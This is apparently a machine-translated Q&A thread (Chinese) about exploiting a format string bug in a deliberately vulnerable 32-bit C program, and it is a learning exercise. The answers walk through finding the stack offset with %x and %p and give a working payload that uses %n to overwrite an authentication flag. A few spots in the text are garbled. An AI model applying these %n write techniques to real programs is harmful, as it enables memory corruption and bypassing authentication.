如何利用此字符串格式漏洞

How to exploit this string format vulnerability

我有这段代码我一直在玩

#include <stdio.h>
#include <string.h>

void authenticated(void) {
    printf("Authenticated\n");
    fflush(stdout);
}

void authenticate() {
    char buf[200];
    char auth = 0;

    printf("%p\n", &auth);
    fflush(stdout);

    fgets(buf, 200, stdin);

    printf(buf);
    fflush(stdout);

    if (auth) {
        authenticated();
    }
}

int main(void) {
    authenticate();
    return 0;
}

使用

编译
gcc test.c -o test -fno-stack-protector -m32

我按照这里的指南 https://www.ayrx.me/protostar-walkthrough-format 写入任意地址。

通过使用这个输入

AAAA%6$p

我得到 AAAA0x41414141 作为输出。现在使用打印的 auth 地址作为输入

\xff\xff\xff\xff%x%x%x%x%x%x%n

我得到一个Segmentation Fault

在一般流程中,printf 使用 fmt 来确定参数的类型,并将它们复制到它的输出中。除非您对输出或输出控制结构的位置有所了解,否则尝试将随机堆栈字符串或其他类似内容塞入其中的运气不会太好。

如果生成 SEGV 足以利用,那么您已经有了答案;然而,有一个格式选项 %n 是相反的。 %n 通过参数列表中的指针写出到目前为止已写入的字符数。如果我们能在堆栈上找到一个指向 &auth 的指针,我们就可以创建一个通过它的格式字符串。

首先,堆栈是什么样子的? 运行你的程序,输入:

%p %p %p %p %p %p .....

并查看得出的值。您所需要的只是比 &auth 小一个小于 int 的大小。更大没有帮助。如果你能找到一个,你就可以设置一个带有 %p 数量的字符串来移动到那个指针,然后是一个 %n 来覆盖它。如果您没有找到任何内容,您可以从“%64p”开始在堆栈帧中进一步探测,它移动到 arg #64(基数 1),然后从那里继续。

如果您的覆盖未命中(假设您的地址偏离了一个字节),您可以用 %256.256d 替换其中一个 %p 以增加您的#written。

遗憾的是,在我的机器和编译器(macos、clang)上,我找不到一个值;我试图通过改变环境变量等来诱导一些,但无济于事。

您遇到分段错误的原因可能是因为您尝试写入错误的地址(其他原因)。现在,在试验您的程序时,我发现了可能发生这种情况的三个主要原因:

  • 使用错误的 %xs
  • 击中了错误的位置
  • 由于格式错误访问了错误的地址
  • 以上正确,但尝试使用错误的地址开头

我很确定你说对了第一点:

$ ./a.out

0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825

如我们所见,我需要 5 次 %x 才能到达正确的位置。我应该验证我 运行 程序的每个连续时间都是这种情况:

$ ./a.out

0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141

再次,5 次(可能 -fno-stack-protector 完成了它的工作)。第 6 次出现的 %x 需要替换为 %n。如果你得到错误的数字,你很可能会遇到分段错误。

现在,我们需要确保我们覆盖了正确的地址。从上面的例子可以看出,每次我运行程序时auth的地址都不一样。
为了获得正确的地址,我们需要 "respond" 到 printf("%p\n", &auth) 告诉我们的任何内容。我通过使用以下命令实现了这一点:

$ ./a.out < <(python)

0xffd51e77
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141

如您所见,auth 的地址被打印出来,然后 Python 3 启动,我可以使用 [=64= 向程序的 stdin 输入任何我喜欢的内容].

但是还有一个我前面提到的问题:格式化。 我不太了解 Python 3 以及它如何处理字符串,但是如果我决定 print 以下内容:

$ ./a.out < <(python)

0xffd1cbb7
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3

我希望输入字符串(十六进制)开头的内容为 ffffffff,但我在那个位置得到了 bfc3bfc3。如果我不得不猜测,我会说这与 UTF-8,Python 3 的默认编码有关。

为了避免这种行为,我使用了 Python 2,它似乎默认为 ASCII。

$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff

唯一剩下的就是print正确的字节顺序正确的地址,然后5次%x将堆栈指针移动到正确的位置,然后%n 用非零值覆盖 auth

$ ./a.out < <(python2)

0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated

我们来了。